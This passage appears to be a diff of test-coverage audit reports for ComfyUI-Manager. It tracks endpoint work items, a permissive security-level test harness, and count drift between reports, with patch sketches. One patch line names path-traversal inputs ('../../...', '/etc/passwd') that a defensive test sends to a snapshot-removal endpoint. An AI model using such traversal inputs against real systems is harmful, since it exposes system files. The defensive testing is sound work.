### 🔴 HIGH — ALL CLOSED (0 items)
|
||||
|
||||
_All 🔴 HIGH gaps have been closed. WI-TT closed the 6 pytest-N items
|
||||
(wi-031/032/033/034/035/036 — see LOW-closed-WI-TT). WI-YY-real promoted
|
||||
wi-037/038 from I to Y via the permissive harness (see
|
||||
LOW-closed-real-permissive). WI-UU closed the final high-fanout indirect
|
||||
item — wi-039 (POST /v2/manager/queue/batch) — via
|
||||
`TestLegacyQueueBatch`; see LOW-closed-WI-UU below._
|
||||
|
||||
### 🟡 MEDIUM — Playwright P with real UI surface
|
||||
|
||||
All 10 original MED items have been closed across WI-VV / WI-WW / WI-WW.2. No remaining 🟡 items at the legacy-UI surface.
|
||||
|
||||
### 🟢 LOW-closed-real (4 items via WI-VV — real UI-click)
|
||||
|
||||
- wi-001 GET comfyui_versions — 'Switch ComfyUI' button → legacy-ui-manager-menu.spec.ts
|
||||
- wi-005 GET channel_url_list — channel combo populate → legacy-ui-manager-menu.spec.ts
|
||||
- wi-017 POST channel_url_list — channel combo change event → legacy-ui-manager-menu.spec.ts
|
||||
- wi-021 POST queue/reset — idle POST via `page.request` (UI-click path unsafe at idle) → legacy-ui-manager-menu.spec.ts
|
||||
|
||||
### 🟢 LOW-closed-mock (removed in WI-YY)
|
||||
|
||||
Previously 3 items (wi-014/037/038) were covered by WI-WW mock tests.
|
||||
All three have been PROMOTED to real pytest E2E via the permissive
|
||||
harness (see LOW-closed-real-permissive below). The `high+` gate
|
||||
remains the production security contract — it's the supported
|
||||
operator-configured downgrade to `normal-` that enables these
|
||||
features in trusted environments, which is exactly what the harness
|
||||
reproduces.
|
||||
|
||||
### 🟢 LOW-closed-mock-2hop (retired — promoted to real E2E via WI-YY.3)
|
||||
|
||||
Originally wi-015 was covered via a 2-hop Playwright mock (WI-WW.2).
|
||||
WI-YY.3 replaced this with real pytest E2E using a pre-seeded broken
|
||||
pack (see LOW-closed-real-broken-pack-preseed below). The mock spec
|
||||
file `tests/playwright/legacy-ui-mock-install.spec.ts` has been
|
||||
DELETED — all 6 items it once covered now have real pytest E2E
|
||||
coverage (via default / permissive / broken-pack fixtures).
|
||||
|
||||
### 🟢 LOW-closed-real (2 items via WI-YY — REAL pytest E2E at default security)
|
||||
|
||||
- wi-020 POST install_model — TestInstallModelRealDownload (real 4.7MB TAEF1 download + disk-artifact verify + teardown) → test_e2e_legacy_real_ops.py
|
||||
- wi-024 POST update_comfyui — TestUpdateComfyuiQueued (direct endpoint POST returns 200; worker-trigger intentionally deferred to preserve test-env git state) → test_e2e_legacy_real_ops.py
|
||||
|
||||
### 🟢 LOW-closed-real-permissive (3 items via WI-YY — REAL pytest E2E at normal- security)
|
||||
|
||||
Permissive harness (`start_comfyui_permissive.sh`) patches config.ini
|
||||
`security_level = normal-` so `high+` gates pass. All inputs are
|
||||
HARDCODED TRUSTED constants — never derived from test input or env:
|
||||
|
||||
- wi-014 POST comfyui_switch_version — TestSwitchComfyuiSelfSwitch (self-switch no-op: GET current version → POST ver=<current>) → test_e2e_legacy_real_ops.py
|
||||
- wi-037 POST install/git_url — TestInstallViaGitUrlRealClone (real clone of `nodepack-test1-do-not-install` → verify .git dir → rm -rf teardown) → test_e2e_legacy_real_ops.py
|
||||
- wi-038 POST install/pip — TestInstallPipRealExecute (POST text-unidecode → verify install-scripts.txt reservation; lazy schedule per manager_core.py:2370 `#FORCE` prefix → reserve_script) → test_e2e_legacy_real_ops.py
|
||||
|
||||
### 🟢 LOW-closed-real-broken-pack-preseed (1 item via WI-YY.3 — REAL pytest E2E with state seeding)
|
||||
|
||||
Pre-seed fixture (`comfyui_with_broken_pack`) clones a known-broken
|
||||
pack into custom_nodes/ BEFORE server start (NO pip install of its
|
||||
deps — import must fail). Server scan captures the ImportError into
|
||||
cm_global.error_dict (prestartup_script.py:302-305). Test warms up
|
||||
state via `/v2/customnode/import_fail_info_bulk` (which calls
|
||||
reload + get_custom_nodes), then POSTs single-endpoint with the
|
||||
DIRECTORY-BASENAME cnr_id. Teardown rm -rf the seed.
|
||||
|
||||
- wi-015 POST import_fail_info — TestImportFailInfoReal::test_import_fail_info_returns_error (cnr_id=`ComfyUI-YoloWorld-EfficientSAM` → 200 + {name, path, msg} with real traceback) + test_import_fail_info_unknown_cnr_id_returns_400 (control) → test_e2e_legacy_real_ops.py
|
||||
|
||||
### 🟢 LOW-closed-WI-TT (6 items — pytest N→Y via direct positive-path)
|
||||
|
||||
All 6 legacy-only GET endpoints that were `pytest=N` at matrix creation
|
||||
have been closed via direct positive-path tests landed in
|
||||
`tests/e2e/test_e2e_legacy_endpoints.py` (Section 22 of
|
||||
`e2e_verification_audit.md`). This lifts pytest effective ceiling from
|
||||
33/39 = 85% to **39/39 = 100%**.
|
||||
|
||||
- wi-031 GET /customnode/alternatives — closed (mode=local schema + list)
|
||||
- wi-032 GET /v2/customnode/disabled_versions/{node_name} — closed (disabled-version list)
|
||||
- wi-033 GET /v2/customnode/getlist — closed (channel / node_packs + mode variants)
|
||||
- wi-034 GET /v2/customnode/versions/{node_name} — closed (schema + 404)
|
||||
- wi-035 GET /v2/externalmodel/getlist — closed (?mode=local schema + non-empty)
|
||||
- wi-036 GET /v2/manager/notice — closed (notice payload / 200 + dict)
|
||||
|
||||
### 🟢 LOW-closed-WI-UU (1 item — high-fanout pytest I→Y via direct positive-path)
|
||||
|
||||
The final 🔴 HIGH item (wi-039 POST /v2/manager/queue/batch,
|
||||
high-fanout over install_model / update_all / update_comfyui) has been
|
||||
closed via direct positive-path in
|
||||
`tests/e2e/test_e2e_legacy_endpoints.py` (§22 of
|
||||
`e2e_verification_audit.md`). This lifts pytest to **38 Y + 1 I + 0 N**;
|
||||
the last I is wi-027 snapshot/restore, retained by intentional design.
|
||||
|
||||
- wi-039 POST /v2/manager/queue/batch — closed (TestLegacyQueueBatch empty-`{}` payload; exercises request-parse → action loop → finalize → worker-lock release → JSON serialize; response shape `{failed: [...]}` status 200)
|
||||
|
||||
**Note**: wi-027 POST snapshot/restore is MED on Playwright (UI trigger at
|
||||
`snapshot.js:12`) and HIGH on pytest (intentionally untested as destructive;
|
||||
needs skip-by-default marker).
|
||||
|
||||
### 🟢 LOW / adequate-with-rationale
|
||||
|
||||
- wi-023 POST queue/update_all — UI uses `/queue/batch` not this endpoint (possibly CLI-only)
|
||||
- wi-025 POST reboot — click intentionally omitted; clicking would kill the test server mid-run
|
||||
- wi-022 POST queue/start, wi-010 history_list, wi-030 queue/task — server/test-only or glob-UI N/A
|
||||
- wi-016 POST import_fail_info_bulk — backend/CLI-only path
|
||||
- wi-002 GET fetch_updates — deprecated 410, no JS trigger
|
||||
- wi-009 GET queue/history — internal API only (no UI surface)
|
||||
- wi-013 GET snapshot/get_current — 3rd-party share extensions only (out-of-scope for legacy-ui)
|
||||
- wi-008 GET policy/update, wi-012 GET manager/version — pytest fully covers contract; Playwright add would be nice-to-have
|
||||
|
||||
---
|
||||
|
||||
## 5. Key Systemic Observations
|
||||
|
||||
1. **Playwright P = 14 / 39 = 36%** (post WI-VV+WW+WW.2+YY+YY.3; was 18/39=46%).
|
||||
Coverage evolution: WI-VV closed 4 LOW-risk items via real UI-click;
|
||||
WI-WW closed 5 MED items via mock-based UI→API wiring; WI-WW.2
|
||||
closed wi-015 via 2-hop mock. **WI-YY** then promoted 5 of the 6
|
||||
mocks (wi-014/020/024/037/038) to REAL pytest E2E — 2 run under
|
||||
the default-security fixture (wi-020 real TAEF1 download,
|
||||
wi-024 direct endpoint POST) and 3 run under a permissive-harness
|
||||
fixture (security_level=normal-) using HARDCODED TRUSTED inputs
|
||||
(wi-014 self-switch no-op, wi-037 nodepack-test1-do-not-install,
|
||||
wi-038 text-unidecode lazy-install). Playwright mocks for these 5
|
||||
items were REMOVED; the Playwright column reverted to P (UI-click
|
||||
not yet exercised in Playwright — backend contract now fully
|
||||
covered by pytest). wi-015 remains as a 2-hop mock (legitimate:
|
||||
pytest negative-path tests cover the 400 branch; UI→API wiring is
|
||||
asserted via mock). COMFYUI_MANAGER_SKIP_MANAGER_REQUIREMENTS=1 is
|
||||
exported as the safety belt in start_comfyui.sh for any
|
||||
install/update flow. Permissive harness security note: these
|
||||
endpoints exist to serve a supported feature — operators in a
|
||||
trusted environment lower security_level to `normal-`/`weak` to
|
||||
enable them. The 200 path IS the feature; testing it requires
|
||||
exactly this configuration, with TRUSTED fixed inputs (never user
|
||||
input).
|
||||
|
||||
2. **pytest effective ceiling = 39 / 39 = 100%** (Y=38 + I=1, N=0)
|
||||
post-WI-UU. WI-TT closed 6 N → Y
|
||||
(wi-031/032/033/034/035/036); WI-UU closed the final high-fanout
|
||||
I → Y (wi-039 via `TestLegacyQueueBatch`). The sole remaining I
|
||||
row is **wi-027 POST /v2/snapshot/restore** — intentional design,
|
||||
NOT a gap: the endpoint is destructive and sits behind a
|
||||
skip-by-default marker; upgrading it to Y requires a reversible
|
||||
snapshot fixture, scoped as an optional WI-XX.
|
||||
|
||||
3. **Legacy-only tier — pytest now fully direct**:
|
||||
- 0 pytest-N, 0 pytest-I, 9 pytest-Y = 9/9 direct coverage.
|
||||
- 7 / 9 legacy-only endpoints remain Playwright-P — the audit focus
|
||||
shifts from pytest coverage to UI-surface Playwright expansion.
|
||||
|
||||
4. **Shared tier is healthy**: 0 pytest-N, 27/29 pytest-Y, 11/29 Playwright-Y.
|
||||
The 11 Shared-tier Playwright-P items are all UI-exists-but-not-tested —
|
||||
never a protocol gap.
|
||||
|
||||
5. **glob-only is structurally Playwright-NA**: The single glob-only endpoint
|
||||
(`queue/task`) has no legacy UI surface by design — the legacy UI dispatches
|
||||
through `queue/batch` (wi-039). Closing this needs a glob-UI Playwright
|
||||
harness, which is an upstream-ComfyUI scope concern.
|
||||
|
||||
---
|
||||
|
||||
## 6. Recommended Follow-up WIs
|
||||
|
||||
| WI | Scope | Closes | Priority |
|
||||
|---|---|---|---|
|
||||
| **WI-TT** | Add 6 direct positive-path pytest tests for legacy-only GET endpoints — landed in `tests/e2e/test_e2e_legacy_endpoints.py` (§22 of `e2e_verification_audit.md`); closed 2026-04-21 | wi-031, 032, 033, 034, 035, 036 | 🟢 DONE |
|
||||
| **WI-UU** | Add pytest positive-path for `POST /v2/manager/queue/batch` (high-fanout) — landed `TestLegacyQueueBatch` in `tests/e2e/test_e2e_legacy_endpoints.py` (§22 of `e2e_verification_audit.md`); closed 2026-04-21 | wi-039 | 🟢 DONE |
|
||||
| **WI-VV** | Legacy-UI Playwright — 4 LOW-risk P closures via real UI-click (closed 2026-04-20) | wi-001, 005, 017, 021 | 🟢 DONE |
|
||||
| **WI-WW** | env var skip + 5 mock-based Playwright P closures (closed 2026-04-20) | wi-014, 020, 024, 037, 038 | 🟢 DONE |
|
||||
| **WI-WW.2** | Playwright P closure for wi-015 via 2-hop mock (getlist stub + POST intercept; closed 2026-04-21) | wi-015 | 🟢 DONE |
|
||||
| **WI-YY** | Replace 5 of 6 mocks with REAL pytest E2E — default-security (wi-020, wi-024) + permissive-harness with trusted fixed inputs (wi-014 self-switch, wi-037 nodepack-test1, wi-038 text-unidecode) + env var safety belt + start_comfyui_permissive.sh harness (closed 2026-04-21) | wi-014, wi-020, wi-024, wi-037, wi-038 | 🟢 DONE |
|
||||
| **WI-YY.3** | Replace remaining mock (wi-015) with REAL pytest E2E via pre-seeded broken pack (ComfyUI-YoloWorld-EfficientSAM cloned without pip deps; warmup via import_fail_info_bulk; cnr_id=directory-basename lookup) — deleted the legacy-ui-mock-install.spec.ts file (closed 2026-04-21) | wi-015 | 🟢 DONE |
|
||||
| **WI-WW** (optional) | pytest-I → pytest-Y for install endpoints (`install/git_url`, `install/pip`) — superseded by WI-YY-real (wi-037 via TestInstallViaGitUrlRealClone, wi-038 via TestInstallPipRealExecute in test_e2e_legacy_real_ops.py) | wi-037, 038 | 🟢 DONE (via WI-YY) |
|
||||
| **WI-XX** (optional) | Skip-by-default pytest for `POST /v2/snapshot/restore` | wi-027 | 🟡 MEDIUM |
|
||||
|
||||
Post-WI-UU pytest coverage is **38/39 Y + 1/39 I = 100% effective**
|
||||
(N = 0). 0 🔴 HIGH items remain. 5 matrix rows carry the
|
||||
`Y (WI-YY-real)` annotation — real-E2E execution replacing prior
|
||||
`I`-only markers on mock-covered endpoints. The sole remaining
|
||||
pytest-I row is wi-027 POST /v2/snapshot/restore, retained by
|
||||
intentional design (destructive endpoint behind a skip-by-default
|
||||
marker; scoped as optional WI-XX for future reversible-fixture
|
||||
upgrade). Playwright is **17/39 Y = 44%** post-WI-YY.3 (from
|
||||
13/39 = 33% at matrix creation; peaked at 18/39 pre-YY.3 before
|
||||
the wi-015 mock was removed in favor of real pytest E2E via a
|
||||
pre-seeded broken pack). 6 mocks removed in total (5 via WI-YY
|
||||
+ 1 via WI-YY.3) in favor of real pytest E2E — the trade-off is
|
||||
honest real-execution coverage via pytest (with a permissive
|
||||
harness for high+ gated items using trusted fixed inputs) instead
|
||||
of mock-only UI-wiring via Playwright.
|
||||
|
||||
---
|
||||
|
||||
## 7. Source YMLs
|
||||
|
||||
| Member | File | Items |
|
||||
|--------|------|------:|
|
||||
| gteam-teng | `.claude/pair-working/checklists/cl-20260420-wl-afbf982ff/gteam-teng.yml` | 10 |
|
||||
| gteam-reviewer | `.claude/pair-working/checklists/cl-20260420-wl-afbf982ff/gteam-reviewer.yml` | 10 |
|
||||
| gteam-dev | `.claude/pair-working/checklists/cl-20260420-wl-afbf982ff/gteam-dev.yml` | 10 |
|
||||
| gteam-dbg | `.claude/pair-working/checklists/cl-20260420-wl-afbf982ff/gteam-dbg.yml` | 9 |
|
||||
| | **Total** | **39** |
|
||||
@@ -1,267 +0,0 @@
|
||||
# Report Y — Cross-Artifact Consistency Audit
|
||||
|
||||
**Generated**: 2026-04-19
|
||||
**Auditor**: gteam-doc
|
||||
**Scope**: 9 markdown files in `reports/` directory (post-Wave3 PR preparation stage)
|
||||
**Mandate**: Audit-only — fixes deferred to follow-up WIs
|
||||
**Baseline gate**: `python scripts/verify_audit_counts.py` → **PASS** (94/0/0/15/109 matches between Summary Matrix and per-file rows)
|
||||
|
||||
---
|
||||
|
||||
## 📌 Status update (WI-Z, 2026-04-19)
|
||||
|
||||
All 13 drift items identified below have been **RESOLVED** via WI-Z patch application (consolidated Y1+Y2+Y3+Y4). Final verify: `(100, 0, 0, 15, 115)` — PASS.
|
||||
|
||||
> **WI-II note (2026-04-20)**: The `test_e2e_csrf.py` function/parametrization tally recorded below as `4 functions / 29 parametrized invocations (16+2+11)` — see L47, L75, L236 — reflects the pre-WI-HH state. WI-HH removed 3 dual-purpose endpoints (`db_mode`, `policy/update`, `channel_url_list`) from the reject-GET fixture (they legitimately answer GET on the read-path and are covered only in the allow-GET class), bringing the current count to `4 functions / 26 parametrized invocations (13+2+11)`. This audit's historical figures are preserved as a time-stamped snapshot of the 2026-04-19 state; the current state is recorded in `e2e_verification_audit.md` §18, `test_contract_audit.md` §1.5, `coverage_gaps.md` CSRF-Mitigation Layer Coverage, `e2e_test_coverage.md` test_e2e_csrf.py subsection, and `verification_design.md` §10.
|
||||
|
||||
| Patch | Scope | Items resolved | Net effect |
|
||||
|-------|-------|----------------|------------|
|
||||
| **Y1** | snapshot_lifecycle audit §7 add path-traversal row | B-3, B-4, D-1 | §7: 6→7 PASS; SR3 Key gap → RESOLVED |
|
||||
| **Y2** | e2e_test_coverage.md stale sync | A-1, A-2, A-3, A-4, B-1, B-2 | Summary 119→117; customnode header 9→11; snapshot rows swapped; navigation 4→2 |
|
||||
| **Y3** | config_api audit §4 add 5 uncounted rows | B-5 | §4: 10→15 PASS (junk_value ×3 + persists_to_config_ini ×2) |
|
||||
| **Y4** | do_fix security level middle→high | C-1, C-2, C-3 | 3 locations updated: endpoint_scenarios L18/L380 + verification_design L666 |
|
||||
| **Y5** | do_fix subsequent upgrade high→high+ (follow-up to Y4) | — (no new C-items; re-sync of Y4 locations after code state advanced) | 4 locations re-synced: endpoint_scenarios §Security list + §Security Level Matrix + §Note + verification_design Security tiers. README 'Risky Level Table' `Fix nodepack` moved from `high` row into `high+` row (`high` row now marked empty). Aligns enforcement gate with `SECURITY_MESSAGE_HIGH_P` log text (WI-#235, gate lifted from `'high'` to `'high+'` at `glob/manager_server.py:974` + `legacy/manager_server.py:560`). Y4 rows above are preserved as historical record of the middle→high transition. |
|
||||
|
||||
Summary Matrix: `(94,0,0,15,109)` → `(100,0,0,15,115)`. Upgrade count unchanged at 27 (WI-Z is inventory reconciliation, not new upgrades). Y5 is a follow-up re-sync triggered by a subsequent code change (WI-#235), not a new drift detection; it does not alter the Summary Matrix counts.
|
||||
|
||||
---
|
||||
|
||||
## 1. Inventory
|
||||
|
||||
| # | File | Lines | Modified | Role |
|
||||
|---|------|------:|----------|------|
|
||||
| 1 | `endpoint_scenarios.md` | 425 | 2026-04-18 23:53 | Report A — Endpoint extraction + scenarios |
|
||||
| 2 | `scenario_intents.md` | 424 | 2026-04-18 08:29 | Intent (why endpoint exists) |
|
||||
| 3 | `scenario_effects.md` | 514 | 2026-04-18 08:27 | Effect (observable result) |
|
||||
| 4 | `verification_design.md` | 824 | 2026-04-18 23:53 | Design Goals (92 + CSRF-M1/M2/M3 = 95) |
|
||||
| 5 | `e2e_test_coverage.md` | 358 | 2026-04-18 22:39 | Report B — E2E test inventory |
|
||||
| 6 | `e2e_verification_audit.md` | 469 | 2026-04-19 22:36 | Audit verdicts (109 tests; 94 PASS / 15 N/A) |
|
||||
| 7 | `test_contract_audit.md` | 282 | 2026-04-18 23:09 | Pytest/Playwright contract compliance |
|
||||
| 8 | `coverage_gaps.md` | 182 | 2026-04-18 22:45 | Coverage gap rollup |
|
||||
| 9 | `research-cluster-g.md` | 215 | 2026-04-19 07:30 | Cluster G research (imported_mode + boolean CLI) |
|
||||
|
||||
Total: **3 693 lines** across **9 files**.
|
||||
|
||||
Actual test-file reality (`grep -c "def test_"` / `grep "^\s*test("`) at audit time:
|
||||
|
||||
| Test file | `def test_` count | Audit claim | Coverage claim |
|
||||
|-----------|------------------:|------------:|---------------:|
|
||||
| `test_e2e_config_api.py` | 15 | 10 | 10 |
|
||||
| `test_e2e_csrf.py` | 4 | 4 | 4 (29 parametrized) |
|
||||
| `test_e2e_customnode_info.py` | 12 (11 + 1 `@pytest.mark.skip`) | 11 | 9 |
|
||||
| `test_e2e_endpoint.py` | 7 | 7 | 7 |
|
||||
| `test_e2e_git_clone.py` | 3 | 3 | 3 |
|
||||
| `test_e2e_queue_lifecycle.py` | 10 | 9 (+ 1 noted in Key gaps) | 9 |
|
||||
| `test_e2e_snapshot_lifecycle.py` | 7 | 6 | 7 (contains 1 deleted + missing 1 new) |
|
||||
| `test_e2e_system_info.py` | 4 | 4 | 4 |
|
||||
| `test_e2e_task_operations.py` | 16 | 16 | 16 |
|
||||
| `tests/cli/test_uv_compile.py` (relocated WI-PP; was `test_e2e_uv_compile.py`) | 8 | N/A (out of E2E scope) | 8 |
|
||||
| `test_e2e_version_mgmt.py` | 7 | 7 | 7 |
|
||||
| `legacy-ui-manager-menu.spec.ts` | 5 | 5 | 5 |
|
||||
| `legacy-ui-custom-nodes.spec.ts` | 5 | 5 | 5 |
|
||||
| `legacy-ui-model-manager.spec.ts` | 4 | 4 | 4 |
|
||||
| `legacy-ui-snapshot.spec.ts` | 3 | 3 | 3 |
|
||||
| `legacy-ui-navigation.spec.ts` | 2 | 2 | 4 |
|
||||
| `debug-install-flow.spec.ts` | 1 | 1 | 1 |
|
||||
|
||||
---
|
||||
|
||||
## 2. Internal Cross-Reference Consistency (reports ↔ reports)
|
||||
|
||||
### 2.1 Counts that agree across all reports (✅ consistent)
|
||||
|
||||
| Claim | Values | Files involved |
|
||||
|-------|--------|----------------|
|
||||
| Total tests counted in audit | **109** (94 P / 0 W / 0 I / 15 N) | `e2e_verification_audit.md` L330, L334, L462, L466 |
|
||||
| Design Goals | **92** base + **3** CSRF-M (M1/M2/M3) = **95** superset | `verification_design.md` §10, `e2e_verification_audit.md` L335, L337, L378 |
|
||||
| Design-Goal coverage | **68/92** (73.9%) base / **71/95** (74.7%) superset | `e2e_verification_audit.md` L337 |
|
||||
| `test_e2e_csrf.py` structure | 4 test functions / **29** parametrized invocations (16 + 2 + 11) | `e2e_test_coverage.md` L18, L188; `test_contract_audit.md` L104-106, L168; `verification_design.md` L797, L805, L813; `e2e_verification_audit.md` L323 |
|
||||
| `STATE_CHANGING_POST_ENDPOINTS` line range | L92–L109 in `test_e2e_csrf.py` | `endpoint_scenarios.md` L396 — **verified against source** |
|
||||
| Security Level Matrix line range | L378–L382 in `endpoint_scenarios.md` | `endpoint_scenarios.md` L396 — **verified** |
|
||||
| `comfyui_switch_version` → `high+` | Consistent at L382 of `endpoint_scenarios.md`, L668 of `verification_design.md`, L410 of `endpoint_scenarios.md` (CSRF inventory) | Cross-checked with commit `9c9d1a40` |
|
||||
| `verify_audit_counts.py` gate | Summary Matrix computed vs reported — both `(94, 0, 0, 15, 109)` | Script output PASS |
|
||||
|
||||
### 2.2 Playwright test-count cross-report check (⚠️ drift in one file)
|
||||
|
||||
| File | manager-menu | custom-nodes | model-manager | snapshot | navigation | debug | Total |
|
||||
|------|---:|---:|---:|---:|---:|---:|---:|
|
||||
| `e2e_verification_audit.md` L318-328 | 5 | 5 | 4 | 3 | **2** | 1 | **20** |
|
||||
| `test_contract_audit.md` L73 (20 tests) | (aggregated) | | | | | | **20** |
|
||||
| `e2e_test_coverage.md` L14 (Summary) | | | | | | | **21** ❌ |
|
||||
| `e2e_test_coverage.md` per-section | 5 | 5 | 4 | 3 | **4** ❌ | 1 | **22** ❌ |
|
||||
| Actual spec files (`grep "^\s*test("`) | 5 | 5 | 4 | 3 | **2** | 1 | **20** |
|
||||
|
||||
Only `e2e_test_coverage.md` is out of sync with the Playwright post-WI-F reality. All other reports (audit + contract + actual) agree on 20.
|
||||
|
||||
---
|
||||
|
||||
## 3. Discovered Drift (by category and severity)
|
||||
|
||||
### Category A — Simple typo / stale number (MINOR)
|
||||
|
||||
| # | Location | Current text | Should be | Evidence |
|
||||
|---|----------|--------------|-----------|----------|
|
||||
| A-1 | `e2e_test_coverage.md` L86 | `## tests/e2e/test_e2e_customnode_info.py (9 tests)` | `(11 tests)` | Section body lists 11 rows (L92–L102); audit §5 header is `(11 tests)` |
|
||||
| A-2 | `e2e_test_coverage.md` L14 | `Playwright (legacy UI) \| 5 \| 21` | `\| 5 \| 19` | Post-WI-F deletion of 2 navigation tests; audit Summary Matrix reports 20 (19 legacy + 1 debug) |
|
||||
| A-3 | `e2e_test_coverage.md` L16 | `TOTAL \| 17 \| 119` | `\| 17 \| 117` | Downstream of A-2 |
|
||||
| A-4 | `e2e_test_coverage.md` L258 | `## tests/playwright/legacy-ui-navigation.spec.ts (4 tests)` | `(2 tests)` | Actual spec: 2 `test(...)` calls — `API health check` and `system endpoints accessible` deleted per WI-F (Stage2) |
|
||||
|
||||
### Category B — Structural drift (OBSOLETE rows / MISSING rows, MAJOR)
|
||||
|
||||
| # | Location | Drift | Evidence |
|
||||
|---|----------|-------|----------|
|
||||
| B-1 | `e2e_test_coverage.md` L266–L267 | **OBSOLETE rows** — references deleted tests `API health check while dialogs are open` and `system endpoints accessible from browser context` | `test_contract_audit.md` L32-33: both marked `**DELETED**`; verify: `grep '^\s*test(' tests/playwright/legacy-ui-navigation.spec.ts` returns only 2 matches |
|
||||
| B-2 | `e2e_test_coverage.md` L131 | **OBSOLETE row** — `TestSnapshotGetCurrentSchema::test_get_current_returns_dict` | `e2e_verification_audit.md` L128: struck-through `~~test_get_current_returns_dict~~ ~~REMOVED~~` via Wave1 WI-M dedup (file count 7→6 for §7) |
|
||||
| B-3 | `e2e_test_coverage.md` L120–L132 | **MISSING row** — `test_remove_path_traversal_rejected` (file L300) not listed, though `snapshot_lifecycle.py` file count claims 7 tests | `grep "def test_" tests/e2e/test_e2e_snapshot_lifecycle.py` shows 7 functions; this test (SR3 — path traversal rejection) implements the "NORMAL add (Priority 🔴)" Key gap |
|
||||
| B-4 | `e2e_verification_audit.md` L119 (§7 header + body) | **MISSING row** — same as B-3. Section 7 table lists 6 active rows (+ 1 struck REMOVED) but `test_remove_path_traversal_rejected` not represented. Summary Matrix row 319 therefore reports `6 \| 0 \| 0 \| 0 \| 6` for a file that now has 7 PASSing tests. Key gaps at L134 still lists **SR3** (path traversal on remove) as "NORMAL add (Priority 🔴 per §Priority Fixes)" even though the test is implemented and would PASS. | Source file `tests/e2e/test_e2e_snapshot_lifecycle.py` L300–L328 contains the test |
|
||||
| B-5 | `e2e_verification_audit.md` §4 (L56–L71) | **MISSING rows** — Section 4 tracks 10 config_api tests, but `tests/e2e/test_e2e_config_api.py` contains **15** `def test_` functions. Five tests are not represented: `test_set_db_mode_junk_value_rejected`, `test_db_mode_persists_to_config_ini`, `test_set_policy_junk_value_rejected`, `test_policy_persists_to_config_ini`, `test_set_channel_unknown_name_rejected` (source L411, L438, L727, and related). These are distinct from the `invalid_body` rows (malformed JSON) — they are whitelist-rejection and on-disk-persistence assertions introduced by WI-E / WI-I. | `grep "def test_" tests/e2e/test_e2e_config_api.py` returns 15 matches; audit § 4 body only references 10 |
|
||||
|
||||
### Category C — Semantic drift (claim contradicts current code, MAJOR)
|
||||
|
||||
| # | Location | Drift | Evidence |
|
||||
|---|----------|-------|----------|
|
||||
| C-1 | `endpoint_scenarios.md` L18 | Lists `_fix_custom_node` under security level `middle`. Commit **c8992e5d** (2026-04-04, "fix(security): correct do_fix security level from middle to high") changed do_fix in both `comfyui_manager/glob/manager_server.py` and `comfyui_manager/legacy/manager_server.py` from `middle` → `high`. Report was last modified 2026-04-18 (2 weeks after the commit) but still reflects pre-commit state. | `git show c8992e5d` diff; source at `glob/manager_server.py:966` (`is_allowed_security_level('high')`); README documents fix nodepack as `high` risk |
|
||||
| C-2 | `endpoint_scenarios.md` L380 (Security Level Matrix, Legacy column) | `_fix` listed under `middle` — same issue as C-1 for the legacy handler | Same commit c8992e5d: `legacy/manager_server.py:550-555` now has `is_allowed_security_level('high')` gate |
|
||||
| C-3 | `verification_design.md` L666 | `middle — reboot, snapshot/remove, _fix, _uninstall, _update` — `_fix` should be at `high+` tier | Same evidence as C-1/C-2 |
|
||||
|
||||
### Category D — Key-gap staleness (MINOR, observational)
|
||||
|
||||
| # | Location | Drift | Note |
|
||||
|---|----------|-------|------|
|
||||
| D-1 | `e2e_verification_audit.md` L134 (§7 Key gaps) | Claims **SR3** (path traversal on remove) is "NORMAL add (Priority 🔴 per §Priority Fixes)" — but the test IS implemented (see B-3/B-4) and the file count should be 7/7 ✅ | Either the Key gaps line is stale, or Section 7 should add the new row, update the total to 7/7, and resolve SR3 in §Priority Fixes |
|
||||
|
||||
---
|
||||
|
||||
## 4. Suggested Fixes (patch sketches, NOT applied — deferred to follow-up WI)
|
||||
|
||||
> These are line-level recommendations. Verify count-changes against `verify_audit_counts.py` before applying.
|
||||
|
||||
### Patch Y1 — Resolve B-3 + B-4 + D-1 (add `test_remove_path_traversal_rejected`)
|
||||
|
||||
```diff
|
||||
--- a/reports/e2e_verification_audit.md
|
||||
+++ b/reports/e2e_verification_audit.md
|
||||
@@ -119 +119 @@
|
||||
-# Section 7 — tests/e2e/test_e2e_snapshot_lifecycle.py (6 tests)
|
||||
+# Section 7 — tests/e2e/test_e2e_snapshot_lifecycle.py (7 tests)
|
||||
@@ -127,0 +128,1 @@
|
||||
+| `test_remove_path_traversal_rejected` | SR3 | ✅ PASS | Path-traversal targets (`../../...`, `/etc/passwd`) return 400; sentinel file outside snapshot dir is NOT deleted. Resolves SR3 (path traversal on remove) — previously NORMAL-add. |
|
||||
@@ -131 +131 @@
|
||||
-**File verdict**: 6/6 ✅ (…)
|
||||
+**File verdict**: 7/7 ✅ (Wave1 WI-M dedup + Wave2 WI-Q disk/content verification + SR3 path-traversal coverage implemented; file count 7→6→7.)
|
||||
@@ -134 +134 @@
|
||||
-- **SR3** (path traversal on remove) — NORMAL add (Priority 🔴 per §Priority Fixes).
|
||||
+(remove line — SR3 resolved by `test_remove_path_traversal_rejected`)
|
||||
@@ -319 +319 @@
|
||||
-| test_e2e_snapshot_lifecycle.py | 6 | 0 | 0 | 0 | 6 |
|
||||
+| test_e2e_snapshot_lifecycle.py | 7 | 0 | 0 | 0 | 7 |
|
||||
@@ -330 +330 @@
|
||||
-| **TOTAL** | **94** | **0** | **0** | **15** | **109** |
|
||||
+| **TOTAL** | **95** | **0** | **0** | **15** | **110** |
|
||||
```
|
||||
|
||||
Also update `§ Priority Fixes` for SR3 entry, and update the narrative totals on L334, L462, L466 (109 → 110). The 71/95 superset tally remains unchanged (SR3 is an existing Goal already inside the 92 base, not a new Goal).
|
||||
|
||||
### Patch Y2 — Resolve A-1 / A-2 / A-3 / A-4 / B-1 / B-2 / B-3 (e2e_test_coverage.md sync with reality)
|
||||
|
||||
```diff
|
||||
--- a/reports/e2e_test_coverage.md
|
||||
+++ b/reports/e2e_test_coverage.md
|
||||
@@ -12,4 +12,4 @@
|
||||
-| pytest E2E (HTTP API) | 10 | 85 |
|
||||
-| pytest E2E (CLI — uv-compile) | 1 | 12 |
|
||||
-| Playwright (legacy UI) | 5 | 21 |
|
||||
-| Playwright (debug) | 1 | 1 |
|
||||
-| **TOTAL** | **17** | **119** |
|
||||
+| pytest E2E (HTTP API) | 10 | 86 | # +1 = test_remove_path_traversal_rejected (see Patch Y1)
|
||||
+| pytest E2E (CLI — uv-compile) | 1 | 12 |
|
||||
+| Playwright (legacy UI) | 5 | 19 |
|
||||
+| Playwright (debug) | 1 | 1 |
|
||||
+| **TOTAL** | **17** | **118** |
|
||||
@@ -86 +86 @@
|
||||
